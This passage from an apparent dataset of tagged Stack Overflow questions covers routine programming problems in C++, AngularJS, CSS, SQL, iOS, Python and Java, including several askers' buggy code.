startmileage;                                                //user enters data          cout &lt;&lt;  enter the ending mileage:   ;                                  //prompts user to enter end mileage for trip         cin &gt;&gt; endmileage;                                                  //user enters data          milesdriven = endmileage - startmileage;                            //calculates total miles driven         cout &lt;&lt;  miles driven:    &lt;&lt; milesdriven &lt;&lt; endl;                   //outputs total miles driven to screen         totalmilesdriven += milesdriven;          milespergallon = milesdriven / gallonsused;                         //calculates total miles per gallon         cout &lt;&lt;  setprecision(8);         cout &lt;&lt;  the miles / gallon for this tank was:    &lt;&lt; milespergallon &lt;&lt; endl;            //outputs miles per gallon to screen          totalmilespergallon = totalmilesdriven / totalgallonsused;          cout &lt;&lt;  \n\n  &lt;&lt; endl;     }      // show grand totals     cout &lt;&lt;  \n\ngrand totals:   &lt;&lt; endl;      cout &lt;&lt;  total gallons used:    &lt;&lt; totalgallonsused &lt;&lt; endl;     cout &lt;&lt;  total miles driven:   &lt;&lt; totalmilesdriven &lt;&lt; endl;     cout &lt;&lt;  the overall average miles/gallon:   &lt;&lt; totalmilespergallon &lt;&lt; endl;       cout &lt;&lt;  \n\n  &lt;&lt; endl;        wrapup();  //indicates end of code      return success;  } </code></pre>   while i am able to run the program  i am having 2 issues with the output:   <ol> <li>trailing zeros are not being kept for milespergallon (example: reads as 24 when should be 24.000000) . i ve tried placing a set precision with the miles per gallon  but it still does not leave the zeros  though it leaves other values (example: will output 22.421875 when adding cout &lt;&lt; setprecision (8). however  24 remains 24)</li> </ol>   example:    enter the gallons used (-1 to end): 5 enter the starting mileage: 487 enter the ending mileage: 607 miles driven: 200 the miles / gallon for this tank was: 24  (<strong><em>should be 24.000000</em></strong>)   <ol start= 2 > <li>totalgallonsused does not appear to be adding correctly and is deducting 1 from the total. for instance:</li> </ol>   i enter the following information (i also added another note with a rounding issue on a decimal value):    enter the gallons used (-1 to end): 12.8 enter the starting mileage: 0 enter the ending mileage: 287 miles driven: 287 the miles / gallon for this tank was: 22.421875    enter the gallons used (-1 to end): 10.3 enter the starting mileage: 287 enter the ending mileage: 487 miles driven: 200 the miles / gallon for this tank was: 19.417476   (please note: this should be 19.417475. not sure why this is rounding. how would i get this exact )    enter the gallons used (-1 to end): 5 enter the starting mileage: 487 enter the ending mileage: 607 miles driven: 200 the miles / gallon for this tank was: 24    enter the gallons used (-1 to end): -1    grand totals: total gallons used: 27.1  (****should be 28.1****) total miles driven: 607 the overall average miles/gallon: 21.601423    how would i:   <ol> <li>allow for trailing zeros to be included in my output  just like the other outputs </li> <li>accurately total the totalmilespergallon</li> <li>prevent the decimal value from rounding up a digit and keep exact</li> </ol>   thank you in advance for any assistance  as it is truly appreciated!,c++
best practice with table jonction  entites  i search the best practice for create an entity on a kind of situation.    there s a sample:    we have 4 tables in a database.   <pre><code>table server id name ...  table environment id name  table application id name ...  table jct_application_server_environment idapplication idserver idenvironment </code></pre>   we have 3 tables linked by 1 table(jct_application_server_environment)    my system (in asp.net) need to show the list of  server  for an application.    so  should i use an entity like :    <em><strong>v1</em></strong>   <pre><code>class jct_application_server_environment public idapplication public idserver public idenvironment </code></pre>   and for each item i load the server and environment. that will be  difficult  with a datagrid to load every time. for my purpose  i think that s not the good things to do.   <hr>   or did its better to create an entity  :    <em><strong>v2</em></strong>   <pre><code>class jct_application_server_environment     public applicationname     public serveurname     public environmentname </code></pre>   you have what you need. simple  take the minimum.  if you need more  take more time to do.    if you have a lot of properties  its will take time to do the entity. and every properties are already created in another entites (the original application/server/environment).   <hr>   or maybe     <em><strong>v3</em></strong>   <pre><code>class jct_application_server_environment     public application //as application entity     public server     //as server entity     public environment //as environment entity  sub new(row as datarow) //each new do a getelementbyid on database    me.application = new application(row( idapplication ))    me.server = new server (row( idserver  ))    me.environment = new environment (row( idenvironment  )) </code></pre>   take time to load at first but get what you need and maybe more. datagrid just need to know to take the sub value (server.name/environment.name)   <hr>   the first one is used mostly on import/export system. for webview its not the version i usely used because i prefer to go easy on gridview databound.    the second is used more often but the entity is for only one thing. 1 entity for 1 gridview. the actual situation fit for the second version. i just want to know if its better the second or the third. what developper with .net experience uselly do.    if you have any other options  you can post-it as an answer.   <hr>   for my actual project  i decided to use v3 but only for the container. the data is fill by a dal.    dal do something like    <pre><code>function getlist() as list(of jct_application_server_environment)  get list of application_server_environment containing id s  for each item grab application  server and envirenment by id create a new jct_application_server_environment with those 3 add to list of jct_application_server_environment  return list </code></pre>,.net
how can i update the model in parent scope from inside the child scope   i am new in angular and learning. when i see the code from this url <a href= https://stackoverflow.com/a/19177773/6188148 >https://stackoverflow.com/a/19177773/6188148</a> then things is not clear.    see the code and tell me why model data can not be updated from child scope     <pre><code>&lt;input type= text  ng-model= data &gt; &lt;div ng-if= true &gt;     &lt;input type= text  ng-model= data &gt; &lt;/div&gt;      </code></pre>   see the below code again and tell me what special things is there for which model in parent scope is updating from inside the child scope     <pre><code>   &lt;input type= text  ng-model= data.input &gt;     &lt;div ng-if= true &gt;         &lt;input type= text  ng-model= data.input &gt;     &lt;/div&gt; </code></pre>   they use just <code>data.input</code> and parent data is updated from child scope....this is not clear. what is so special in <strong>.input</strong> keyword      please help me to understand how second example can update parent data just by <strong>.input</strong> keyword      also tell me when child scope gets created   when we use ng-if or ng-show then      thanks,angularjs
internet explorer cannot display the webpage   i have an application that displays pdf files via crystal reports in a new window to the user. this works perfectly on my development machine and when accessing the site directly on the production server (remote desktop running browser installed on server) but when i access the site from the out side over the internet i get the error. other reports display fine and this report used to work until i recently made some changes and re-installed the site. all code is in <code>try ... catch</code> but not info is being written to my error files. cant figure out why it would work locally on the server but not over the internet and only this one report.    have tried the <code>system.web</code> attributes <code>maxrequestlength</code> and <code>executiontimeout</code>.    the server is: <strong>windows web server 2008 iis 7 framework 4</strong>,asp.net
how to put an image in html coding  <a href= https://i.stack.imgur.com/obac0.jpg  rel= nofollow noreferrer >enter image description here</a>how do i put an image in html  i have tried copying and pasting  dragging and dropping  everything. i just don t know how to get a url for it. that s the question.    <a href= https://i.stack.imgur.com/jtxpu.jpg  rel= nofollow noreferrer >image of blog header type thing</a>,html
how to add two text field values in third text field in rails form   i am having a requirement where we have to add two text fields and insert the value in the third which are stored as string. in the below form i want to multiply quantity and price_per_unit and store the value in total_amount field which should be read only. please help me.    this is my form:   <pre><code>&lt;%=form_for([:invoice_detail @multiple_good]  html: {class:  form-horizontal   role:  form  }) do |f| %&gt;      &lt;div class= field &gt;       &lt;%= f.label :description_of_goods  :class =&gt;  control-label  %&gt;       &lt;div class= controls &gt;         &lt;%= f.text_field :description_of_goods  :class =&gt;  text_field   :required =&gt; true :maxlength =&gt; 20  :placeholder =&gt;  20 alpha numeric characters   %&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= field &gt;       &lt;%= f.label :quatity  :class =&gt;  control-label  %&gt;       &lt;div class= controls &gt;         &lt;%= f.text_field :quatity  :class =&gt;  text_field   :required =&gt; true :maxlength =&gt; 20  :placeholder =&gt;  enter quatity   %&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= field &gt;       &lt;%= f.label :price_per_unit  :class =&gt;  control-label  %&gt;       &lt;div class= controls &gt;         &lt;%= f.text_field :price_per_unit  :class =&gt;  text_field   :placeholder =&gt;  enter price per unit   %&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= field &gt;       &lt;%= f.label :total_amount  :class =&gt;  control-label  %&gt;       &lt;div class= controls &gt;         &lt;%= f.text_field :total_amount  :class =&gt;  text_field   :placeholder =&gt;  enter total amount    %&gt;       &lt;/div&gt;     &lt;/div&gt;      &lt;div class= form-actions2 style= text-align:center &gt;       &lt;%= f.submit  :class =&gt;  btn btn-primary  %&gt;     &lt;/div&gt;     &lt;/div&gt;  &lt;% end %&gt; </code></pre>,ruby-on-rails
app sometimes crashes at turnbasedmatchmakerviewcontroller:didfindmatch: delegate method  i have made a game using game center. everything works great except for one thing. around 1 out of 50 times  when creating a new match  either it is random opponent or by inviting a friend  my app might crash with this error being printed to my console:<em>fatal error: unexpectedly found nil while unwrapping an optional value</em>. xcode also redirects me to the  location  of the crash  which is the turnbasedmatchmakerviewcontroller:didfindmatch: delegate method. you can see at which line of code the crash happens down below.    why it most of the time works  and some rare times crashes  i have no idea.       it is really hard to fix this bug  because i can spend 5 hours straight trying to make the crash happen  without success. i  myself  haven´t had this crash in a very long time  but the apple review team had this crash when reviewing my app.        this is my code:   <pre><code>func turnbasedmatchmakerviewcontroller(viewcontroller: gkturnbasedmatchmakerviewcontroller  didfindmatch match: gkturnbasedmatch) {     currentmatch = match     presentingviewcontroller.dismissviewcontrolleranimated(true          completion: nil)     let firstparticipant = match.participants![0] as gkturnbasedparticipant //this is where my app crashes!     if firstparticipant .lastturndate == nil {         delegate!.enternewgame(match)     } else {             if match.currentparticipant .player!.playerid == gklocalplayer.localplayer().playerid {                 delegate!.taketurn(match)             } else {                 delegate!.layoutmatch(match)             }         }     } </code></pre>   fixing this is the only thing standing in my way to have my very first app in the app store  so all kind of help is greatly appreciated,ios
how to determine the platform tag of a .net exe  when i compile a .net program i can tell it to compile for /platform:anycpu or /platform:x86 etc. is there someway i can determine what platform value a .net exe/dll has been compiled with     see my answer below for a program that determines the platform flag. or use corflags.exe.,.net
ios programmed browser call takes too long to run  calling the safari browser in code:   <pre><code>nsurl *url = [nsurl urlwithstring:@ 173.194.34.133 ]; [[uiapplication sharedapplication] openurl:url]; </code></pre>   when the app runs it takes anywhere between 3 and 4 seconds before the browser is displayed  its not the location either as i have run this on a local site to see if it was any quicker.    does anyone have any ideas how to speed this up     cheers,ios
sql: where in combined with and  the following query results in a set containing 1 product for each order  even if a particular order has multiple products.        <pre><code>select orders. *  products. * from `orders` inner join `products` where orders.customer_id =   . $customer_id .     and orders.order_processed &gt; 0   and products.product_id in (orders.products) </code></pre>   (orders.products being a string like 69 74 35 21).    i tried rewriting many times  but failed to get the desired result.  who could point me in the right direction  thanks for your support.,sql
value in directive is undefined  i am trying to get a value in directive which is passed by model.it prints value in controller but in directive it s undefined. attaching code snippets please update where it is wrong. thanks a lot !!    a) <strong>date &amp; time input type in model</strong> -    // date-picker   <pre><code>&lt;div class= todo-details-inline &gt;     &lt;span class= todo-header &gt;due date&lt;/span&gt;     &lt;input type= text              ng-model= vm.task.end_date              top= 45  name= enddate              class= nc-input              pickadate-picker date-input-format&gt; &lt;/div&gt; </code></pre>   // time-picker   <pre><code>&lt;div style= margin-left:10%;  class= todo-details-inline &gt;     &lt;input ng-model= vm.task.end_time              name= endtime              time-input-format             time-picker             taskenddate= vm.enddate              placeholder= end time              class= nc-input &gt; &lt;/div&gt; </code></pre>   b) <strong>vm.enddate set in controller</strong>    // on page load   <pre><code>vm.enddate = vm.task.end_date; logger.info( in activate vm.enddate: +vm.enddate); // prints correct value </code></pre>   // watch - on val update   <pre><code>vm.enddate = vm.task.end_date; console.log( updated vm.enddate: +vm.enddate);   // prints correct value </code></pre>   c)  <strong>in directive</strong>   <pre><code>angular .module( app.layout ) .directive( timepicker   timepicker);  function timepicker($timeout) {     var directive = {         require:  ngmodel           scope: {             from:  =               to:  @               format:  @               min:  =               initialtime:  =               selecttime:  =               taskenddate: =          }          link: function($scope  $element  $attrs  ctrl) {           // other code                 $scope.$watch( taskenddate   function(value) {             console.log( taskenddate value: +value); // undefined                if (value) {                 // further oprtns             }           }         }    }; } </code></pre>,angularjs
nsobject to file   i have a class that is a sub-class of nsobject which contains 3 properties. how can i write this object to a plist file     should i create a dictionary  populate it then write the dictionary to file     or is there a simpler way,objective-c
using a web view to play videos only from youtube <h2><a href= https://i.stack.imgur.com/f6z40.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/f6z40.png  alt= enter image description here ></a></h2>  <pre><code>nsstring *embedhtml = @ \       &lt;html&gt;&lt;head&gt;\       &lt;style type=\ text/css\ &gt;\       body {       background-color: transparent;       color: white;       }       &lt;/style&gt;       &lt;/head&gt;&lt;body style=\ margin:0\ &gt;\       &lt;embed id=\ yt\  src=\ %@\  type=\ application/x-shockwave-flash\  \       width=\ %0.0f\  height=\ %0.0f\ &gt;&lt;/embed&gt;\       &lt;/body&gt;&lt;/html&gt; ; </code></pre>   <strong>used this script to play videos and its working fine with iphone but not with ipad. frame not get set.</strong>   <pre><code>nsstring* html = [nsstring stringwithformat:embedhtml  str_url]; [web_view loadhtmlstring:html baseurl:nil]; [web_view scalespagetofit]; web_view.scrollview.bounces=no; </code></pre>,ios
userprincipal.getauthorizationgroups throws exception  in the following code   <pre><code>principalcontext* context = new principalcontext(contexttype::domain  domainname); userprincipal* user = userprincipal::findbyidentity(context  identitytype::samaccountname  username); principalsearchresult&lt;principal*&gt;* groups = user-&gt;getauthorizationgroups(); </code></pre>   i get the following exception:   <blockquote>    message: object reference not set to an instance of an object.  </blockquote>   <strong>exception call stack:</strong>   <pre><code> at system.directoryservices.accountmanagement.principal.checkdisposedordeleted()  at system.directoryservices.accountmanagement.userprincipal.getauthorizationgroupshelper()  at system.directoryservices.accountmanagement.userprincipal.getauthorizationgroups() </code></pre>   any idea why the internal method fails  how can the user be deleted or disposed  or what has happened,.net
restricting an input box to only numbers 0-9  how can one restrict an inputbox to just use numbers only.    so if a user were to type in anything from a-z  it will not work in the inputbox.    to some this may seem easy but to me  it sounds like rocket science.    no jquery please.   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;  &lt;head&gt;  &lt;/head&gt;  &lt;body&gt;  &lt;input type= text  id= numbersonly  /&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>,javascript
c# object serialization changes  i have the following issue:    my object is being serialized as follows:   <pre><code>memorystream memorystream = new memorystream(); binaryformatter bf = new binaryformatter(); bf.serialize(memorystream  _policy); capturedata = convert.tobase64string(memorystream.toarray()); </code></pre>   and then saved to my database and de-serialized as required from the data saved in the database.    my problem now is that i can t make changes to this object  add properties etc as this breaks the deserialization.    any suggestions on how i can add properties without breaking serialization of previous objects,c#
apply different colors for mark row  i want create css which should be mark row in different colors according to the condition of it    ex:    <pre><code>if row.stage= new  (fill in green) if row.stage= complete  (fill in blue)  (row.stage is get the data from db) </code></pre>   please any one can help me to make this matter correct,css
centering an absolutely positioned item  i have the following text:   <pre><code>&lt;p&gt;this is the text&lt;/p&gt;  p {     position: absolute;     top: 300px; } </code></pre>   i want it to be 300px from the top  but <strong>centered</strong> in the browser (no matter the width)  how would i do this  thank you.,css
type  object is not iterable when iterating list in class  when using this code:   <pre><code>import random  class result:     list = [ a    b    c ]      def choicename(self):         for i in list:             if i == list[0]:                 result = random.randint(90  100)             else:                 result = random.randint(0  10)          print  the %s result is %d  % (i  result)  if __name__ ==  __main__ :     t = result()     t.choicename() </code></pre>   i get an error:   <pre class= lang-none prettyprint-override ><code>  file  d:\program\test\test\__init__.py   line 22  in &lt;module&gt;     t.choicename()   file  d:\program\test\test\__init__.py   line 13  in choicename     for i in list: typeerror:  type  object is not iterable </code></pre>   why is that  <code>list</code> looks iterable to me.,python
ng-repeat does not show object attributes  i have this html:   <pre><code>&lt;html ng-app= store &gt; &lt;head&gt;     &lt;link rel= stylesheet  type= text/css  href= ./bootstrap/bootstrap-3.3.6-dist/css/bootstrap.min.css  /&gt;      &lt;script type= text/javascript  src= angular.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= app.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body ng-controller= storecontroller as store &gt;     &lt;div ng-repeat= product in store.products &gt;              &lt;h1&gt; {{store.products.name}} &lt;/h1&gt;             &lt;h2&gt; {{store.products.price}} &lt;/h2&gt;             &lt;p&gt; {{store.products.description}} &lt;/p&gt;             &lt;p/&gt;             &lt;button&gt;add to cart &lt;/button&gt;            &lt;/div&gt; &lt;/body&gt; </code></pre>       and this javascript (that is <strong>app.js</strong>):   <pre><code>(function() { var app = angular.module( store   [ ]);  app.controller( storecontroller   function() {     this.products = gems;  }); var gems = [     {         name:  dodecahedron           price: 2.95          description:  some gems have hidden qualities beyond their luster  beyond their shine... dodeca is one of those gems.           canpurchase: true          soldout: false     }      {         name:  pentagonal gem           price: 5.95          description:  you will feel right at home.           canpurchase: true          soldout: false     } ]; })(); </code></pre>   when i launch the html in a browser  it shows an  add to cart  button for both gems  but the <strong>name</strong>  <strong>price</strong>  and <strong>description</strong> do not display. when i add the following line to the html  it correctly displays the price for the first gem:   <pre><code>&lt;h2&gt; {{store.products[0].price}} &lt;/h2&gt; </code></pre>   so apparently i m referencing the products correctly.     i have no idea why the attributes are not displaying otherwise.,angularjs
.net dont allow alphabet  i need to check if my string contains alphabet characters. because it needs to just contains a number.   <pre><code>         string^ buffer;          buffer = this-&gt;textbox4-&gt;text; </code></pre>,.net
how to call other function with same name while still allowing adl etc  how do i make the call in the second <code>f()</code> find the first <code>f()</code> with an unqualified lookup so adl and normal name lookup rules would still work     note: i don t want to change the name of any of the functions.   <pre><code>namespace x  {     void f()     {     }      class c      {         void f()          {             x::f();         }     }; } </code></pre>,c++
what is a simple / elegant way in rails to process code only if a variable is not a hash or string   to check what params[:_search] is and make the good transform  i am doing :   <pre><code>_search = if params[:_search].is_a (hash)     params[:_search]   else     cgi::parse(params[:_search].to_s)   end end </code></pre>   recently i monkey path object and wrote this part of code :   <pre><code>class object   def transform_unless_kind_of(klass)     (!self.is_a (klass)   yield(self) : self)   end end  params[:_search].transform_unless_kind_of(hash) { |_self| gci::parse(_self.to_s) } </code></pre>   is there a more elegant/native way to process code only if an object is not a wanted kind,ruby-on-rails
jquery doesn t sort my options  i have an option-select html thing. the js code:   <pre><code>var inviteds = $( #clientmenuevents_edit select[name= everybody ] ); inviteds.find( option ).sort (function(a b) {     return a.innerhtml.tolowercase() &gt; b.innerhtml.tolowercase()   1 : -1; }); </code></pre>   i debugged the function  <code>a.innerhtml.tolowercase()</code> gives the string  but it just can t order that list  nothing happens. everybody does it like that - but it acts like i didn t do anything.,jquery
traitcollectiondidchange: called even i dont have any changes  do you know why <code>traitcollectiondidchange</code> is called even with no size class changes.    selecting a uilabel  i have in my storyboard attribute inspector / installed check for the uilabel. no special cases for installing according to size class.    therefore i dont understand why <code>traitcollectiondidchange</code> is called when i rotate the device     yes  it is called after viewdidlod  but also every time i rotate the device/ emulator.    if i wanted to react to rotation i would use <code>viewwilltransitiontosize</code>.    update: hmm  re-thinking this. i guess that size class is actually also changing when you rotate an iphone.     can you think of traitcollectiondidchange as a specialised method of viewwilltransitiontosize - facilitating thresholds for telling when we are crossing size class boundaries,ios
create a table of 400 specific value and be able to retrieve data from it - in python  i am trying to create a table of  20 value of x and 20 value of y (400 input) which i would populate each input with different value. (its a chart that provide the equivalent temperature when t = a specific degree but humidity is = xx.x%     i would like to create the table and then be able to read from it     ex: temp = 25 degree celcius     humidity = 80 %    the value in the table at 25 degree(y) and 80 %(x) is 33 degree celsius    i am new with python. i appreciate your help.,python
is there an easy way to get the x and y coordinates of the circumference of an object in an image   i ll explain what i want to achieve with an example. let s say we get the following picture: <a href= https://i.stack.imgur.com/qtpl5.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qtpl5.jpg  alt= enter image description here ></a>    i would like to write code that calculates the x and y coordinates of the entire circumference/perimeter of the object inside the image with a certain colour (r 225  g 158  b 158). in this case the object is a huge circle  but it could be any shape and size.     so i basically want my code to write all the x and y coordinates of all the corners that make up the circle. and with corners i mean the corners of the pixels that you see when you zoom in on the circle  like this: <a href= https://i.stack.imgur.com/6psdi.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6psdi.jpg  alt= enter image description here ></a>    my question is  is there an easy way to achieve this  i have searched for an answer  but i couldn t really find anyone with the same quest/problem.    things to know:   <ul> <li>the object could be a different shape in every image  it could be a country  a car  a banana  anything is possible. </li> <li>the object is almost always completely filled in(like our example). but it could also have a hole in it (like a donut)  but not more than 1 hole (so a pretzel wouldn t work). when there is a hole  i would also like to know the coordinates of the inner perimeter/circumference.</li> <li>the colour is always the same colour (r 225  g 158  b 158) </li> <li>the pixels containing this colour will always consists of this colour for 100%  so there will be no fading colours or anything like that.</li> </ul>   i would love to know if you guys know of any ways to do this and maybe know of some examples i can learn from.     (i am also super new to python  so if i missed something obvious  please tell and i ll update/edit my post),python
chrome displaying failed to load resource  i have a simple webpage structure:   <pre><code>-index.html -css   -style.css </code></pre>   the contents of the html are:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;title&gt;test&lt;/title&gt;   &lt;link rel= stylesheet  href= /css/style.css &gt; &lt;/head&gt; &lt;body&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   when i open the html in chrome i get the error:   <blockquote>    failed to load resource file:///c:/css/style.css  </blockquote>   my directory is in mydocuments in windows. why can t the .css file be found,html
php require field to remain empty  in my form field i have created a field that needs to remain blank to pass validation if there is any text in it  i need it to fail i    in my form i have added this in my validation   <pre><code>        $robotest = $_post[ robotest ]; </code></pre>   then in my validation   <pre><code>        if ($robotest == ($_post[ robotest ])) {             $errors[] =  possible spam. ;         } </code></pre>   how can i get it if equals and info in that field period it fails,php
removing and storing list from dictionary  in python   i have a dictionary composed of the following:    <pre><code>[ [ foxp2_mouse    aminoacidsequence1 ]  [ foxp2_rat   aminoacidsequence2 ]  [ foxp2_dog    aminoacidsequence3 ] ]. </code></pre>   i m trying to remove the keyed <code>foxp2_dog</code> from the dictionary and place it in a new dictionary alone. i ve tried different methods: <code>del</code> and <code>.remove</code> to no avail.,python
sql request return nothing  i try to get all row from a parkplaces table + the username row from users table. all results must have status (from parkplaces table) row equal to  current . results must be sort by order asc.    here is my request:   <pre><code>  select parkplaces.*  users.username     from parkplaces inner join users on parkplaces.id_user = users.id    where status =  current  order by parkplaces.id asc </code></pre>   when i try  the request return nothing.     what s wrong please  im little confused.    thanks,sql
positioning multiple images in various places around the page  hi i am having problems positioning several images. it is very important that max height of the site stays at approximately 580 pixels as i want to give the impression of a picture frame around the site. i have attached a picture to show how exactly the site is laid out and where i want to position my images in the top  middle and bottom divs. i do not want to have them as background images because i want to have some as links and i want to have some jquery animations (i.e. fadein  and toggle) with the other images. this is a fluid layout but i do not want the vertical width to expand when the browser is at the min width of 780px  i also would like that the images are some what centred on the page.    i am still learning css so i have done the best i can but it is still out of position.     thanks for your help    site layout picture <img src= https://i.stack.imgur.com/obelm.png  alt= site layout picture >   <pre><code>.container { width: 100%; max-width: 1096px; min-width: 780px; margin: 0 auto;}  .header { background:#231f20; height: 65px; }  .sidebar1 { padding: 0px; float: left; width: 65px; background: #231f20; margin: 0; min-height: 450px;}  .sidebar2 { float: right; width: 65px; background:#231f20; margin: 0; min-height: 450px;}  .main_content{ padding: 0px; width: 80%; float: left; }  .footer { height: 65px; background:#231f20; position: relative; } </code></pre>   html   <pre><code>&lt;body&gt; &lt;div class= container &gt;     &lt;div class= header &gt;&lt;/div&gt;       &lt;div class= sidebar1 &gt;&lt;/div&gt;       &lt;div class= main_content &gt;          &lt;div class= top &gt;&lt;/div&gt;         &lt;div class=”middle &gt;&lt;/div&gt;          &lt;div class=”bottom &gt;&lt;/div&gt;         &lt;/div&gt;      &lt;div class= sidebar2 &gt;&lt;/div&gt;  &lt;/div&gt;   &lt;/body&gt; </code></pre>,css
menu triangle/arrow issue (pure css)  i have a triangle next to menu items  using pure css. it works flawlessly in internet explorer and firefox but chrome crops the bottom of the arrow. here s some screenshots of the issue:    <img src= https://i.stack.imgur.com/kvb4j.png  alt= screenshot of menu in firefox ><br> <img src= https://i.stack.imgur.com/skldk.png  alt= screenshot of menu in chrome ><br> <img src= https://i.stack.imgur.com/tbrgf.png  alt= screenshot of menu in internet explorer 9 >    here is the css i m using:   <pre><code>/*menu arrows */  .arrowsprite {     width:0px;      height:0px;      border-left:5px solid transparent;     border-right:5px solid transparent;     border-top:5px solid #444444;     font-size:0px;     line-height:0px;     top:-2px;     position:relative; }  .arrowspriteselected {     width:0px;      height:0px;      border-left:5px solid transparent;     border-right:5px solid transparent;     border-top:5px solid #fff;     font-size:0px;     line-height:0px;     top:-2px;     position:relative; }  .leftish li:hover .arrowsprite {     border-top:5px solid #444444; }   .leftish li:hover .arrowspriteselected {     border-top:5px solid #444444; } </code></pre>   the html is:   <pre><code>&lt;li&gt;wanted &lt;span class= arrowsprite &gt;&lt;/span&gt;&lt;/li&gt; </code></pre>   does anyone see any glaring problems in my css,css
clearing fields with angular   when the user clicks on a radio button i run:   <pre><code>$scope.clientclick = function() {      //do stuff } </code></pre>   i have a form  and i would like half of the fields on the form to be cleared in the above method.    i have done:   <pre><code> $scope.clientclick = function() {      $scope.entry.first_name =   ;     $scope.entry.last_name =   ;     $scope.entry.email =   ;     $scope.entry.tel =   ;     $scope.entry.gender =   ;     $scope.entry.job =   ;     $scope.entry.age =   ; } </code></pre>   but is there an easier way rather than listing each field again,angularjs
how is the radial gradient added here   <a href= http://www.templatemonster.com/demo/39055.html  rel= nofollow >http://www.templatemonster.com/demo/39055.html</a>    i ve seen bunch of websites having those natural gradient on their backgrounds while surfing the internet. the thing i do not understand is... how did they do that  i don t think it s a photoshop-created image file cuz the gradient seems like re-sizing naturally and properly according to the screen size of my web browser... so  i thought it must be css... but i cannot find which code is actually doing the job :/    could someone tell me how it s done,css
mysql: can i make count() honor limit clause   i m trying to get a count of records matching certain criteria within a subset of the total records. i tried (and assumed this would work)   <pre><code>select count(*)  from   records  where  status =  adp  limit  0 10 </code></pre>   and i assumed this would tell me how many records of status adp were in that set of 10 records. it doesn t - it returns  in this case 30  which is the total number of adp records in the table.    how do i just count up the records matching my criteria including the limit,mysql
is it not necessary to define a class member function   the following code compiles and runs perfectly    <pre><code>#include &lt;iostream&gt;  class sam {     public:         void func1();         int func2(); };  int main() {     sam s; } </code></pre>   should it not produce a error for the lack of class member definition,c++
disabling asp validation controls in a hidden panel  in my asp page i used 2 asp panel controls.the second panel was <strong>not visible</strong> as the style property of it was set to hidden.panel 2 is displayed through javascript code which change the style property to <strong>visible</strong> according to the value of a <strong>checkbox</strong> in panel 1. on postback although the <strong>panel 2</strong> is hidden its asp validations are pop up and the postback is not happening.i tried to disable the server <strong>controls</strong> via javascript but its not working.    can someone help me in this    <pre><code>function disablepanel() { var div_to_disable =document.getelementbyid( &lt;%=panel1.clientid%&gt; ).getelementsbytagname( input ); var children = div_to_disable; for (var i = 0; i &lt; children.length; i++) { children[i].disabled = true;     }; } function enablepanel() { var div_to_disable = document.getelementbyid( &lt;%=panel1.clientid     %&gt; ).getelementsbytagname( input );     var children = div_to_disable; //.childnodes;     for (var i = 0; i &lt; children.length; i++) {         children[i].disabled = false;     }; }    function showpanel2() {    var panel = document.getelementbyid( &lt;%=panel2.clientid %&gt; );    if (panel.style.visibility ==  hidden ) {        enablepanel();        panel.style.visibility =  visible ;    }    else { disablepanel();        panel.style.visibility =  hidden ; }  </code></pre>,javascript
how to make the position of button fixed in android   i have a button and a expand list above this button   when the list is expanded the button below it disappears . how to make this button in fixed location    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android          android:orientation= vertical  android:layout_width= fill_parent          android:layout_height= fill_parent &gt; &lt;include layout= @layout/ads_bar  &gt;&lt;/include&gt;         &lt;textview                  android:text= level 1:                  android:textsize= 20dp                  android:id= @+id/textview01                   android:layout_width= fill_parent                  android:layout_height= wrap_content &gt;&lt;/textview&gt;  &lt;textview                  android:text= lorem ispum something about this level ..... :)                  android:textsize= 16dp                  android:id= @+id/textview01                   android:layout_width= fill_parent                  android:layout_height= wrap_content &gt;&lt;/textview&gt;  &lt;expandablelistview                  android:id= @+id/listview                  android:scrollbars= vertical                  android:layout_width= fill_parent                   android:layout_height= wrap_content &gt;&lt;/expandablelistview&gt;  &lt;include                  android:layout_alignparentbottom= true                  layout= @layout/quick_links_bar &gt;&lt;/include&gt; &lt;/linearlayout&gt; </code></pre>   where <code>quick_links_bar</code> represents button !,android
cannot make static reference to non-static field (java)  hey guys i m having trouble figuring this out. here is the code:   <pre><code>  package apps;  import java.util.iterator; import java.util.nosuchelementexception;  import structures.vertex;   public class partialtreelist implements iterable&lt;partialtree&gt; {      /**      * inner class - to build the partial tree circular linked list       *       */     public static class node {         /**          * partial tree          */         public partialtree tree;          /**          * next node in linked list          */         public node next;          /**          * initializes this node by setting the tree part to the given tree           * and setting next part to null          *           * @param tree partial tree          */         public node(partialtree tree) {             this.tree = tree;             next = null;         }     }      /**      * pointer to last node of the circular linked list      */     private node rear;      /**      * number of nodes in the cll      */     private int size;      /**      * initializes this list to empty      */     public partialtreelist() {         rear = null;         size = 0;     }      /**      * adds a new tree to the end of the list      *       * @param tree tree to be added to the end of the list      */     public void append(partialtree tree) {         node ptr = new node(tree);         if (rear == null) {             ptr.next = ptr;         } else {             ptr.next = rear.next;             rear.next = ptr;         }         rear = ptr;         size++;     }      /**      * removes the tree that is at the front of the list.      *       * @return the tree that is removed from the front      * @throws nosuchelementexception if the list is empty      */     public partialtree remove()      throws nosuchelementexception {              node temp = new node(node.tree);             return null;     }      /**      * removes the tree in this list that contains a given vertex.      *       * @param vertex vertex whose tree is to be removed      * @return the tree that is removed      * @throws nosuchelementexception if there is no matching tree      */     public partialtree removetreecontaining(vertex vertex)      throws nosuchelementexception {             /* complete this method */              return null;      }      /**      * gives the number of trees in this list      *       * @return number of trees      */     public int size() {         return size;     }      /**      * returns an iterator that can be used to step through the trees in this list.      * the iterator does not support remove.      *       * @return iterator for this list      */     public iterator&lt;partialtree&gt; iterator() {         return new partialtreelistiterator(this);     }      private class partialtreelistiterator implements iterator&lt;partialtree&gt; {          private partialtreelist.node ptr;         private int rest;          public partialtreelistiterator(partialtreelist target) {             rest = target.size;             ptr = rest &gt; 0   target.rear.next : null;         }          public partialtree next()          throws nosuchelementexception {             if (rest &lt;= 0) {                 